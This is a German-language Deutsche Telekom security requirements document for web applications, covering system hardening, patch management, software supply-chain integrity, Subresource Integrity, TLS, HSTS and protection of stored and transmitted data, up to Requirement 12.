

Sicherheitsanforderung

Web-Anwendungen

Deutsche Telekom Gruppe

Version	8.0
Datum	01.07.2025
Status	Freigegeben

Impressum

Herausgeber
Deutsche Telekom AG
Vorstandsbereich Technology & Innovation
Chief Security Officer

Reuterstrasse 65, 53315 Bonn
Deutschland

Dateiname	Dokumentennummer 3.06	Dokumententyp Sicherheitsanforderung
Version 8.0	Stand 01.07.2025	Status Freigegeben
Fachlicher Ansprechpartner Telekom Security psa.telekom.de	Gültigkeitsdauer 01.07.2025 - 30.06.2030	Freigegeben von Stefan Pütz, Leiter SEC-T-TST

Zusammenfassung

Dieses Dokument basiert auf Vorgaben aus den im Konzern gültigen Sicherheitsrichtlinien und definiert die Sicherheitsanforderungen an eine sichere Implementierung von Web-Anwendungen. Die hier beschriebenen Anforderungen müssen erfüllt werden, um sicherzustellen, dass eine Web-Anwendung nicht ohne Weiteres von Angreifern missbraucht werden kann.

Copyright © 2025 by Deutsche Telekom AG.

Alle Rechte, auch die des auszugsweisen Nachdrucks, der fotomechanischen Wiedergabe (einschließlich Mikrokopie) sowie der Auswertung durch Datenbanken oder ähnliche Einrichtungen, vorbehalten.

Inhaltsverzeichnis

1.	Einleitung	4
2.	Systemhärtung	5
3.	Systemaktualisierung	9
4.	Schutz von Daten und Informationen	11
5.	Schutz der Verfügbarkeit und Integrität	16
6.	Authentifizierung und Autorisierung	30
7.	Schutz von Sitzungen	37
8.	Authentisierungsmerkmal Passwort	47
9.	Content-Management-Systeme (CMS)	55
10.	Protokollierung	57

1. Einleitung

Dieses Dokument wurde auf Basis der Vorgaben aus den im Konzern gültigen Sicherheitsrichtlinien erstellt.

Die Sicherheitsanforderung dient unter anderem als Grundlage zur Freigabe im PSA-Prozess. Sie dient darüber hinaus als Umsetzungsempfehlung für Einheiten, die nicht am PSA-Verfahren teilnehmen. Diese Anforderungen müssen bereits während der Planungs- und Entscheidungsprozesse berücksichtigt werden. Bei der Umsetzung der Sicherheitsanforderung ist das jeweils vorrangige nationale, internationale und supranationale Recht zu beachten.

2. Systemhärtung

Req 1 Auf dem System darf ausschließlich nur benötigte Software eingesetzt werden.

In den Hersteller-seitig bereitgestellten Installationsroutinen für Software sind oftmals Komponenten oder einzelne Bestandteile der Software als Standard-Installation vorausgewählt, die für den Betrieb und die Funktion eines spezifischen Systems nicht notwendig sind. Hierzu zählen auch Teile einer Software, die als Anwendungsbeispiele (z. B. Default-Web-Seiten, Beispieldatenbanken, Testdaten) mit installiert, aber typischerweise im Anschluss nicht verwendet werden.

Solche Komponenten müssen bei der Installation des Systems gezielt abgewählt (nicht mit installiert) werden oder - falls eine Abwahl während der Installation nicht möglich ist - unmittelbar im Anschluss entfernt werden.

Des Weiteren darf grundsätzlich keine Software auf einem System eingesetzt sein, die für den Betrieb, die Wartung oder die Funktion des Systems nicht erforderlich ist.

Motivation: Schwachstellen in der Software eines Systems sind Einfallstore für Angreifer. Durch die Deinstallation nicht benötigter Komponenten können die potentiellen Angriffsflächen deutlich reduziert werden.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Nutzung von Diensten oder Ressourcen
- Angriffe motiviert und erleichtert durch Informationspreisgabe oder erkennbare Sicherheitsschwachstellen

ID: 3.01-3/9.0

Req 2 Nicht benötigte Funktionen in der eingesetzten Software und Hardware müssen deaktiviert werden.

Während der initialen Installation von Software können zunächst Funktionen standardmäßig aktiviert worden sein, die für den Betrieb und die Funktionalität des konkreten Systems nicht notwendig sind. Funktionen sind meistens ein fester Bestandteil der Software, der nicht einzeln gelöscht oder deinstalliert werden kann.

Solche Funktionen müssen unmittelbar nach der initialen Installation über die Konfigurationseinstellungen der Software deaktiviert werden, so dass sie auch nach einem Neustart des Systems dauerhaft deaktiviert bleiben.

Bereits vor der Auslieferung oder während der initialen Inbetriebnahme sind möglicherweise auch in der Hardware zunächst Funktionen standardmäßig aktiviert worden, die für den Einsatz des konkreten Systems nicht benötigt werden. Solche Funktionen, wie beispielsweise nicht benötigte Schnittstellen, müssen ebenfalls unmittelbar nach der initialen Inbetriebnahme dauerhaft deaktiviert werden.

Motivation: Die Hardware oder Software eines Systems enthält oft aktivierte Funktionen, die nicht genutzt werden. Solche Funktionen können eine unnötige Angriffsfläche für Manipulationen darstellen. Des Weiteren entsteht darüber ein Potential, dass unautorisiert auf Bereiche oder Daten des Systems zugegriffen werden kann.

Umsetzungsbeispiel: [Beispiel 1]

Deaktivierung von Debugging-Funktionen in einer Software, die im Falle der Entstörung genutzt werden, aber während des normalen Betriebs nicht aktiv sein müssen.

[Beispiel 2]

Deaktivierung von ungenutzten Netzwerk-Schnittstellen eines Servers.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Nutzung von Diensten oder Ressourcen
- Angriffe motiviert und erleichtert durch Informationspreisgabe oder erkennbare Sicherheitsschwachstellen

ID: 3.01-4/9.0

Req 3	Eingesetzte Software muss aus vertrauenswürdigen Quellen bezogen und auf Integrität geprüft werden.
-------	---

Die auf dem System eingesetzte Software muss aus vertrauenswürdigen Quellen bezogen und vor der Installation auf ihre Integrität geprüft werden.

Diese Anforderung bezieht sich auf sämtliche Arten von Software:

- Firmware sowie Microcode für Hardware-Komponenten
- Betriebssysteme
- Software-Bibliotheken
- Applikationen und Anwendungssoftware
- vorintegrierte Anwendungslösungen, wie z. B. Software Appliances oder Container

sowie weitere Software, die ggf. zum Einsatz kommt.

Vertrauenswürdige Quellen

Als vertrauenswürdige Bezugsquellen gelten allgemein:

- die offiziellen Vertriebs- und Bereitstellungs Kanäle des Herstellers
- dritte Distributoren, sofern sie durch den Hersteller autorisiert und legitimer Bestandteil von dessen Bereitstellungs Kanälen sind
- Internet-Downloads, sofern diese von offiziellen Bereitstellungs-Servern des Herstellers oder autorisierter Distributoren erfolgen
 - (1) Bietet der Bereitstellungs-Server verschiedene Formen von Downloads an, müssen durch Verschlüsselung bzw. kryptografische Signaturen geschützte Downloads jenen ohne einen solchen Schutz vorgezogen werden.
 - (2) Sichert der Bereitstellungs-Server die Transport-Schicht mittels kryptografischer Protokolle (z. B. HTTPS, sftp), müssen die zugehörig präsentierten Server-Zertifikate oder Server-Keys/Fingerprints bei jedem Download validiert werden, um die Identität des Bereitstellungs-Servers zu bestätigen; schlägt die Validierung fehl, ist der Download abubrechen und der Bereitstellungs-Server als nicht vertrauenswürdige Quelle zu bewerten.

Integritätsprüfung

Die Integritätsprüfung soll sicherstellen, dass die erhaltene Software frei von Manipulationen und Schadsoftware-Befall ist. Sofern vorhanden, müssen zur Prüfung die vom Hersteller implementierten Mechanismen verwendet werden.

Valide Mechanismen sind:

- physikalische Siegel bzw. fest aufgebrachte Echtheitszertifikate (bei Bereitstellung der Software auf physikalischen Datenträgern)
- Abgleich von kryptografischen Hash Werten (z. B. SHA256, SHA512) der erhaltenen Software gegen Soll-Werte, die der Hersteller separat benennt
- Prüfung von kryptografischen Signaturen (z. B. GPG, Zertifikate), mit denen der Hersteller seine Software versieht

Zusätzlich ist eine Überprüfung der Software mittels eines Anti-Virus- bzw. Anti-Malware Scanners empfohlen (falls der Hersteller keinen der zuvor erwähnten Integritätsschutz-Mechanismen für seine Software implementiert hat, ist diese Überprüfung verpflichtend).

Erweiterte Integritätsprüfung bei Bezug von Software aus öffentlichen Registries

Öffentliche Registries ermöglichen es Entwicklern, beliebige eigene Software-Projekte zur Nutzung bereitzustellen. Die Bandbreite umfasst sowohl Projekte von namhaften Anbietern mit kontrollierten Entwicklungsprozessen als auch von kleineren Anbietern oder Amateur-Entwicklern.

Beispiele für solche Registries sind:

- Code Registries (z. B. GitHub, Bitbucket, SourceForge, Python Package Index)

- Container Registries (z. B. Docker Hub)

Software aus öffentlichen Registries muss vor dem Einsatz einer erweiterten Integritätsprüfung unterzogen werden. Zusätzlich zu den im vorherigen Abschnitt beschriebenen Bestandteilen der Integritätsprüfung soll die erweiterte Prüfung explizit sicherstellen, dass die Software ihre Funktion tatsächlich wie beschrieben erfüllt, keine inhärenten Sicherheits-Risiken wie etwa gezielt implementierte Malware-Funktionen enthält und nicht von bekannten Sicherheits-Schwachstellen betroffen ist. Sofern die Software direkte Abhängigkeiten zu dritten Software-Projekten aufweist (sog. "Dependencies", sehr typisch in Open Source Software), die zum Einsatz der Software ebenfalls bezogen und installiert werden müssen, sind diese in die erweiterte Integritätsprüfung mit einzubeziehen.

Methoden für eine erweiterte Integritätsprüfung können beispielsweise sein:

- strikte Validierung der Projekt-/Paket-Namen (Vermeidung der Verwechslung mit maliziösen, gezielt nachgeahmten Software-Projekten)
- dynamische Code Analyse / strukturierte Funktionsprüfung in einer Test-Umgebung
- statische Code Analyse mittels eines Linters (z. B. Splint, JSLint, Pylint)
- Untersuchung mittels eines Sicherheitsschwachstellen-Scanners (z. B. Qualys, Nessus)
- Untersuchung mittels eines Container Security Scanners (z. B. JFrog Xray, Harbor, Clair, Docker Scan)
- Untersuchung mittels eines SCA (Software Composition Analysis) Tools bzw. Dependency-Scanners (z. B. OWASP Dependency Check, Snyk)

Die Prüfungsmethoden sind passend zur exakten Form der Software-Bereitstellung (Quellcode, Binaries/Artefakte, Container) auszuwählen und angemessen zu kombinieren.

Motivation: Softwarelieferketten enthalten diverse Angriffsvektoren. Ein Angreifer kann an verschiedenen Stellen ansetzen, um Software zu manipulieren oder gezielt eigene Routinen einzubringen und die Zielumgebung, in der die Software anschließend zum Einsatz gebracht wird, zu schädigen oder unter seine Kontrolle zu bringen. Der Angriff kann auf dem Transport- bzw. Übertragungsweg geschehen oder auch auf die Bereitstellungsquelle selbst ausgeübt werden. Entsprechend erleichtert wird ein Angriff, falls Software nicht über offizielle und kontrollierte Quellen bezogen wird oder eine Integritätsprüfung ausgelassen wird.

Besonderes Risiko zeigt sich für Software, die aus öffentlichen Registries bezogen wird, da diese jedermann für die Bereitstellung von Software-Projekten offenstehen. Perfide Angriffsmethoden sind inzwischen bekannt, in denen der Angreifer zunächst eine Zeitlang sicherheitstechnisch völlig unauffällige, funktionale Software bereitstellt und sobald diese sich etabliert und eine gewisse Verbreitung gefunden hat, in zukünftigen Versionen gezielt versteckten Schadcode integriert. Andere Methoden setzen auf ähnlich klingende Projektnamen zu weit verbreiteten Bestandsprojekten oder überstimmende Versionsnummern, um manipulierte Software in darauf aufbauende Lösungen zu injizieren.

Umsetzungsbeispiel: Bezug der Software über die offiziellen Bereitstellungskanäle des Herstellers. Nach Erhalt der Software umgehend Prüfung auf Integrität mittels kryptografischer Checksummen, wie vom Hersteller bereitgestellt, sowie Freiheit von bekannter Schadsoftware mittels Anti-Malware- / Anti-Virus-Scanner. Ablage der geprüften Software auf einer internen, geschützten Dateiablage und weitere Nutzung (z. B. Rollout auf die Zielsysteme) nur noch von dort.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Modifikation von Daten
- Unbemerkt durchführbare Angriffe
- Angriffe motiviert und erleichtert durch Informationspreisgabe oder erkennbare Sicherheitsschwachstellen

ID: 3.01-2/9.0

Req 4	Die Web-Anwendung darf keine externen Ressourcen oder Funktionalitäten aus nicht vertrauenswürdigen Quellen einbinden bzw. ausführen. Falls die Web-Anwendung externe Ressourcen einbindet, muss deren Integrität mittels Subresource Integrity (SRI) geschützt werden.
-------	---

SRI ist dabei für alle unterstützten Subressourcen, mindestens bei JavaScript und CSS, einzusetzen.

Bei einer unter Verwendung von SRI eingebundenen Subresource (zum Beispiel eine JavaScript-Datei, die auf einem externen Content Delivery Network (CDN) gehostet wird) wird der Hashwert der gültigen Datei im „integrity“-Attribut angegeben:

```
<script src="https://beispiel.de/beispiel.js"
integrity="sha384-R4/ztc4ZlRqWuvf6RX5yb/v90qNGx6fS48N0tRxiGgDVJCp2T"
crossorigin="anonymous"></script>
```

Der Browser wird das Skript herunterladen, den Hashwert für die heruntergeladene Datei berechnen und diese ausführen, falls beide Hashwerte übereinstimmen.

Damit SRI funktioniert, muss der Server, auf dem die Ressourcen liegen, Cross-Origin Resource Sharing (CORS) unterstützen.

Indem nicht vertrauenswürdige Ressourcen innerhalb eines Inlineframes geladen werden und für den Inlineframe das Attribut „sandbox“ mit einer restriktiven Konfiguration gesetzt wird, kann das Risiko solcher Inhalte zumindest reduziert werden, unter anderem da diese Ressourcen dann nicht auf das DOM der eigentlichen Seite zugreifen können.

Motivation: Ein eingebundenes Skript wird vom Browser bei Nutzung von SRI nur dann ausgeführt, wenn der Hash des heruntergeladenen Skripts und der im „integrity“-Attribut vorab angegebene Hash übereinstimmen. Manipulierte Skripte, zum Beispiel aufgrund eines kompromittierten CDN, kommen so nicht zur Ausführung (falls der verwendete Browser SRI unterstützt). Dies reduziert das Risiko eingebundener externer Ressourcen.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Störung der Verfügbarkeit

ID: 3.06-4/8.0

3. Systemaktualisierung

Req 5	Software und Hardware des Systems müssen von einem Sicherheitsschwachstellen-Support seitens des Herstellers abgedeckt werden.
-------	--

In einem System dürfen nur Software- und Hardware-Produkte eingesetzt werden, für die ein Sicherheitsschwachstellen-Support durch den Hersteller besteht.

Ein solcher Support muss umfassen, dass der Hersteller

- das Produkt kontinuierlich auf eine Betroffenheit von Sicherheitsschwachstellen beobachtet und analysiert,
- über Art, Schweregrad und Ausnutzbarkeit von im Produkt entdeckten Schwachstellen umgehend informiert
- zeitnah Produktaktualisierungen oder wirksame Workarounds zur Behebung der Schwachstellen bereitstellt.

Der Sicherheitsschwachstellen-Support muss für die gesamte Dauer bestehen, in der das betroffene Produkt im Einsatz verbleibt.

Support-Phasen mit eingeschränktem Leistungsumfang

Viele Hersteller bieten für ihre Produkte als Option einen zeitlich ausgedehnten Support an, welcher über die für den allgemeinen Markt vorgesehene Support-Phase hinausgeht, aber oftmals mit Einschränkungen verbunden ist. Einige Hersteller definieren ihren Support grundlegend in Abstufungen, die Einschränkungen schon während der letzten Phase vor dem absoluten Endtermin des regulären Supports enthalten können.

Wird ein Produkt innerhalb von Support-Phasen eingesetzt, die Einschränkungen unterliegen, muss explizit sichergestellt werden, dass diese Einschränkungen die Verfügbarkeit des Sicherheitsschwachstellen-Support nicht beeinträchtigen.

Open Source Software und Hardware

Open Source Produkte werden häufig von freien Organisationen oder Communities entwickelt; entsprechend ist ein vertraglich vereinbarter Sicherheitsschwachstellen-Support unter Umständen nicht verfügbar. Grundsätzlich muss auch hier sichergestellt werden, dass von der Organisation/Community (oder einem offiziell durch diese eingesetzten Dritten) für das betroffene Produkt ein umfassendes Sicherheitsschwachstellen-Management betrieben wird, welches die oben genannten Kriterien erfüllt und als zuverlässig etabliert gilt.

Motivation: Hardware- und Software-Produkte, für die kein vollumfassender Sicherheitsschwachstellen-Support durch den Hersteller besteht, stellen ein Risiko dar. Dies bedeutet, dass ein Produkt nicht ausreichend auf eine Betroffenheit durch weiterentwickelte Angriffsformen oder neu entdeckte Schwächen technischer Umsetzungen geprüft wird. Analog werden bei vorhandenen Sicherheitsschwachstellen in einem Produkt keine Nachbesserungen (z. B. Updates, Patches) bereitgestellt. Hieraus resultiert ein System, dessen Schwachstellen nicht behoben werden können, so dass sie für einen Angreifer ausnutzbar bleiben, um das System zu kompromittieren oder es negativ zu beeinträchtigen.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Störung der Verfügbarkeit
- Abstreiten von durchgeführten Aktionen
- Unbemerkt durchführbare Angriffe
- Angriffe motiviert und erleichtert durch Informationspreisgabe oder erkennbare Sicherheitsschwachstellen

ID: 3.01-1/9.0

Req 6	Die Web-Anwendung darf keine clientseitigen Technologien verwenden oder voraussetzen, die den Status „End-of-Life“ oder „End-of-Support“ erreicht haben.
-------	--

Hierzu gehören insbesondere Flash, Shockwave, ActiveX und Java-Applets.

Motivation: Auch veraltete bzw. unsichere Technologien, die lediglich im Browser zum Einsatz kommen, können von Angreifern ausgenutzt werden, um den Client zu kompromittieren, aber auch um die Sicherheit der genutzten Web-

Anwendung auszuhebeln.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Störung der Verfügbarkeit

ID: 3.06-6/8.0

Req 7	Bekannte Schwachstellen in der Software oder Hardware des Systems müssen behoben oder gegen Missbrauch abgesichert werden.
-------	--

Bekannte Schwachstellen in Software- und Hardware Komponenten müssen mittels Installation von verfügbaren Systemaktualisierungen des Herstellers (z. B. Patches, Updates/Upgrades) behoben werden. Alternativ ist der Einsatz von Workarounds (Akut-Lösungen, welche die Schwachstelle nicht beheben, aber die Ausnutzung wirksam verhindern) zulässig. Workarounds sollten grundlegend nur temporär Verwendung finden und sobald möglich durch eine reguläre Systemaktualisierung ersetzt werden, um die Schwachstellen vollständig zu schließen.

Komponenten, die bekannte, nicht behebbare Schwachstellen enthalten, dürfen in einem System nicht eingesetzt werden.

Die Behandlung von neu bekannt werdenden Schwachstellen muss zudem für die gesamte Einsatzphase des Systems fortlaufend sichergestellt und in den kontinuierlichen Betriebsprozessen eines Security Patch Managements umgesetzt werden.

Motivation: Der Einsatz von Komponenten ohne eine Behebung enthaltener Schwachstellen erhöht deutlich das Risiko einer erfolgreichen Kompromittierung. Der Angreifer wird zusätzlich dadurch begünstigt, dass i. d. R. nicht nur detaillierte Informationen zu bereits bekannt gewordenen Schwachstellen offen verfügbar sind, sondern oft auch bereits angepasste Angriffswerkzeuge, die eine aktive Ausnutzung erleichtern.

Umsetzungsbeispiel: Im Anschluss an die initiale Installation eines Betriebssystems von einem offiziellen Installationsmedium werden alle aktuell verfügbaren Patches und Sicherheits-Updates eingespielt.

Zusätzliche Informationen:

Primäre Quellen für bereits bekannt gewordene Schwachstellen in einer Software/Hardware sind Auflistungen in den Versionshinweisen sowie die Sicherheitshinweise aus den offiziellen Meldekanälen des Herstellers oder unabhängiger CERTs. Insbesondere die Meldekanäle werden sinnvollerweise fest in kontinuierliche Prozesse des Security Patch Managements für ein System eingebunden, damit neu bekanntwerdende Schwachstellen zeitnah registriert und in operative Behebungsmaßnahmen geführt werden können.

Als ergänzende Maßnahme zur Aufdeckung von potenziell noch enthaltenen, grundsätzlich bereits bekannt gewordenen Arten von Schwachstellen können gezielte Schwachstellenuntersuchungen des Systems durchgeführt werden. Zu diesem Zweck eignen sich besonders spezialisierte Werkzeuge wie automatisierte Schwachstellen-Scanner. Beispiele hierfür sind: Tenable Nessus, Qualys Scanner Appliance.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Störung der Verfügbarkeit
- Abstreiten von durchgeführten Aktionen
- Unbemerkt durchführbare Angriffe
- Angriffe motiviert und erleichtert durch Informationspreisgabe oder erkennbare Sicherheitsschwachstellen

ID: 3.01-10/9.0

4. Schutz von Daten und Informationen

Req 8	Gespeicherte schutzbedürftige Daten müssen vor nicht autorisierter Einsichtnahme, Veränderung und Löschung geschützt werden.
-------	--

Der Schutzbedarf für gespeicherte Daten ist abhängig von deren Einstufung (beispielsweise nach geltenden gesetzlichen Datenschutzvorgaben, regulatorischen Auflagen, vertraglichen Verpflichtungen), dem Schadenspotential bei deren Missbrauch, sowie weiteren relevanten Faktoren (beispielsweise dem Ort der Speicherung). Art und Umfang von Schutzmaßnahmen müssen entsprechend angemessen gewählt werden.

Gespeicherte Authentisierungsmerkmale wie beispielsweise Passwörter, Private Keys, Tokens oder Zertifikate gelten grundsätzlich als schutzbedürftig. Ebenfalls als grundsätzlich schutzbedürftig gelten Daten, die Funktionalität und sicherheitsrelevantes Verhalten eines Systems bestimmen (z. B. System-Konfigurationsdateien, Betriebssysteme und Kernel, Treiber).

Die Einhaltung der Schutzziele Vertraulichkeit, Integrität und Verfügbarkeit muss für gespeicherte schutzbedürftige Daten durchgängig gewährleistet werden. Dies gilt auch während einer lediglich kurzfristigen Speicherung (z. B. bei der Zwischenspeicherung in einem Web Cache oder in einem temporären Ordner innerhalb einer Datenverarbeitungskette).

Grundlegend muss der Zugriff auf schutzbedürftige Daten in einem System auf Basis von technisch implementierten Berechtigungsvergaben und -kontrollen vollumfassend reglementiert werden.

Reicht eine solche technische Zugriffskontrolle allein nicht mehr aus, um den erforderlichen Schutzbedarf gespeicherter Daten zu gewährleisten, oder kann deren Wirksamkeit nicht durchgängig sichergestellt werden, müssen zusätzlich kryptografische Verfahren (z. B. Verschlüsselung, Signierung, Hashing) implementiert werden. Bei der Speicherung von Daten eingesetzte kryptografische Verfahren müssen für diesen Zweck anerkannt wirksam sein und dürfen keine bekannten Schwachstellen aufweisen.

Motivation: Die Speicherung von Daten auf einem System ohne einen adäquaten Schutz ermöglicht es einem Angreifer, diese unberechtigt einzusehen, zu nutzen, zu verbreiten, zu verändern, oder zu vernichten. Dies eröffnet potenziell zusätzliche Angriffsvektoren auf die unmittelbaren sowie angeschlossene weitere Systeme und kann zu erheblichen Ausfällen, Kontrollverlusten und Schäden sowie resultierenden Strafzahlungsforderungen und Reputationsverlusten gegenüber Kunden und Geschäftspartnern führen.

Umsetzungsbeispiel: [Beispiel 1]

Ein System exportiert Daten für einen Transport auf einen mobilen Datenträger. Da die technische Zugriffskontrolle des Systems auf Dateiberechtigungsebene nicht mehr greift, sobald der mobile Datenträger aus dem System entfernt wird, müssen zusätzliche Maßnahmen zum Schutz der Daten getroffen sein. Bevor das System die Daten auf den mobilen Datenträger schreibt, werden sie entsprechend mit einem passenden Verfahren verschlüsselt. Der zugehörige Schlüssel wird auf einem separaten Kanal ausgetauscht, so dass die Daten im legitimen Zielsystem wieder entschlüsselt und verarbeitet werden können. Ein Angreifer, der den mobilen Datenträger in seinen Besitz bringt, hat hingegen keinen Zugriff auf die Daten.

[Beispiel 2]

In der lokalen Benutzer-Datenbank eines Systems werden nur kryptografische Hashes der Passwörter gespeichert, die mit einem als sicher geltenden Password-Hashing Verfahren erzeugt wurden. Für das System sind diese Hashes ausreichend, um die Benutzer bei einer Anmeldung am System zu authentifizieren. Sollte ein Angreifer die Benutzer-Datenbank kopieren können, gelangt er somit jedoch nicht unmittelbar in den Besitz von Klartext-Passwörtern, mit denen er sich am System im Namen der Benutzer anmelden könnte.

[Beispiel 3]

Auf einem System sind die Konfigurationsdateien des Web-Servers ausschließlich für den legitimen Admin schreibbar, in dem im Dateisystem entsprechende Berechtigungen gesetzt wurden. Die Zugriffskontrolle des Betriebssystem-Kernels verweigert somit allen anderen Benutzern des Systems, Veränderungen an den Konfigurationsdateien des Web-Servers vorzunehmen; einschließlich dem Web-Server Dienste-Konto selbst, was auch die Angriffsfläche von außen bei Schwachstellen im Web-Server verkleinert.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Störung der Verfügbarkeit

- Unbemerkt durchführbare Angriffe
- Angriffe motiviert und erleichtert durch Informationspreisgabe oder erkennbare Sicherheitsschwachstellen

ID: 3.01-14/9.0

Req 9 Schutzbedürftige Daten müssen während der Übertragung vor nicht autorisierter Einsichtnahme und Veränderung geschützt werden.

Der Schutzbedarf von zu übertragenden Daten ist abhängig von deren Einstufung (beispielsweise nach geltenden gesetzlichen Datenschutzvorgaben, regulatorischen Auflagen, vertraglichen Verpflichtungen), dem Schadenspotential bei deren Missbrauch, sowie weiteren relevanten Faktoren (beispielsweise der Übertragung über öffentliche Netze). Art und Umfang der Schutzmaßnahmen müssen entsprechend angemessen gewählt werden.

Authentisierungsmerkmale wie beispielsweise Passwörter oder Tokens gelten grundsätzlich als schutzbedürftige Daten. Ebenfalls grundsätzlich als schutzbedürftig gelten Daten, die Funktionalität und sicherheitsrelevantes Verhalten eines Systems bestimmen (z. B. Updates & Patches, Konfigurationsparameter, Fernwartungen, Steuerung über APIs).

Die Einhaltung der Schutzziele Vertraulichkeit und Integrität muss während der Übertragung von schutzbedürftigen Daten durchgängig gewährleistet werden.

I.d.R. erfordert dies eine Implementation von kryptografischen Verfahren (z. B. Verschlüsselung, Signaturen, Hashes). Kryptografische Verfahren können

- vor der Übertragung direkt auf die Daten angewendet werden, was eine anschließende Übertragung der Daten auch über unsichere Kanäle vertretbar machen kann
- auf dem Übertragungs-Kanal eingesetzt sein, um einen sicheren Kanal zu schaffen und beliebige Daten, die durch diesen geleitet werden, zu schützen
- oder auch als Kombination aus beidem umgesetzt sein.

Bei der Übertragung von Daten eingesetzte kryptografische Verfahren müssen für diesen Zweck anerkannt wirksam sein und dürfen keine bekannten Schwachstellen aufweisen.

Motivation: Die Übertragung von Daten ohne einen adäquaten Schutz ermöglicht es einem Angreifer, diese unberechtigt abzufangen, zu nutzen, zu verbreiten, zu verändern oder aus der Übertragung zu entfernen. Dies eröffnet potenziell weitere Angriffsvektoren auf die unmittelbaren Zielsysteme sowie angeschlossene weitere Systeme und kann zu erheblichen Ausfällen, Kontrollverlusten und Schäden sowie resultierenden Strafzahlungsforderungen und Reputationsverlusten gegenüber Kunden und Geschäftspartnern führen.

Umsetzungsbeispiel: [Beispiel 1]

Vertrauliche Dokumente werden vor dem Versand per E-Mail an den Kunden verschlüsselt.

[Beispiel 2]

Ein Administrator konfiguriert eine neue Cloud-Anwendung über das Internet. Der Zugriff erfolgt über eine TLS-verschlüsselte Verbindung ("https").

[Beispiel 3]

Ein System bezieht automatische Software-Updates von einem Update-Server. Der Update-Server liefert die Software Updates kryptografisch signiert aus. Das System kann die empfangenen Software-Updates somit validieren und sicher ausschließen, dass diese während der Übertragung manipuliert wurden.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Störung der Verfügbarkeit
- Unbemerkt durchführbare Angriffe
- Angriffe motiviert und erleichtert durch Informationspreisgabe oder erkennbare Sicherheitsschwachstellen

ID: 3.01-15/9.0

Req 10 Für die Web-Anwendung muss TLS mit Server-Authentisierung und Verschlüsselung verwendet werden. Hierbei müssen immer alle Inhalte der Web-Anwendung verschlüsselt übertragen werden.

Dies umfasst selbst möglicherweise unkritische Inhalte einschließlich JavaScript, Stylesheets, Bilder usw.

Motivation: TLS ist der übliche Mechanismus im Falle von Web-Anwendungen, um die Vertraulichkeit der Kommunikation und die Authentizität der Anwendung bzw. des Servers sicherzustellen.

Das Verhalten der verschiedenen Browser bei der Verarbeitung von gemischten HTTP- und HTTPS-Ressourcen ist sehr inkonsistent. Daraus ggf. resultierende Angriffsmöglichkeiten, zum Beispiel Man-in-the-Middle- oder Surf-Jacking-Angriffe, werden durch eine vollständige Verschlüsselung verhindert.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten

ID: 3.06-10/8.0

Req 11 Die Web-Anwendung muss mittels HTTP Strict Transport Security (HSTS) erzwingen, dass alle zukünftigen Verbindungen vom Browser ausschließlich verschlüsselt aufgebaut werden. Hierzu muss die Web-Anwendung den HTTP-Response-Header „Strict-Transport-Security“ setzen.

Motivation: Wenn ein Browser von einer Web-Anwendung den HSTS-Header empfängt, wird der Browser für die im Header angegebene Zeit ausschließlich verschlüsselt mit dieser Web-Anwendung kommunizieren. Wenn der Benutzer danach die Web-Anwendung mit einer HTTP-Adresse aufruft, wandelt der Browser diese automatisch in die entsprechende HTTPS-Adresse um. Falls die verschlüsselte Übertragung irgendeinen Fehlercode bewirkt, bricht der Browser die Verbindung mit einer Fehlermeldung ab. Das schließt auch Zertifikatsfehler ein, die ein Benutzer dann nicht mehr übergehen kann.

HSTS adressiert in erster Linie das Problem, dass viele Benutzer selten beispielsweise <https://www.anwendung.de> als Adresse eintippen - sondern eher anwendung.de bzw. www.anwendung.de oder die Anwendung aus ihren Bookmarks heraus unverschlüsselt aufrufen. Üblicherweise erfolgt dann ein Redirect von HTTP auf HTTPS. Aber dieser erste unverschlüsselte Request inkl. Redirect bietet Angreifern schon Möglichkeiten, Man-in-the-Middle-Angriffe durchzuführen. Wenn eine Web-Anwendung den HSTS-Header setzt, wird der erste unverschlüsselte Request vermieden. Ebenso ruft der Browser auch keine anderen unverschlüsselten Ressourcen auf, wenn beispielsweise versehentlich gemischte HTTP- und HTTPS-Ressourcen in der Web-Anwendung eingestellt wurden.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten

ID: 3.06-11/8.0

Req 12 Um schutzbedürftige Daten zu übertragen, darf die Web-Anwendung keine URL-Parameter oder andere Felder verwenden, die in Protokolldateien erfasst werden.

Motivation: Bei der GET-Methode werden Parameter in der URL übertragen und dann üblicherweise von Webservern und Clients protokolliert. Falls die Web-Anwendung Verknüpfungen zu anderen Web-Anwendungen enthält, besteht zudem die Möglichkeit, dass URL-Parameter über den HTTP-Header „Referer“ an diese anderen Web-Anwendungen übertragen werden und dort in den Log-Dateien erscheinen. Diesen Teil der Problematik könnte man auch (für die meisten Browser) durch Verwendung des HTTP-Response-Headers „Referrer-Policy“ (zum Beispiel mit dem Wert „no-referrer“) adressieren. Zudem kann nicht ausgeschlossen werden, dass ein Nutzer eine verwendete URL inklusive schutzbedürftiger Daten kopiert und weitergibt. Bei der POST-Methode beispielsweise werden Parameter im Request-Body übertragen.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten

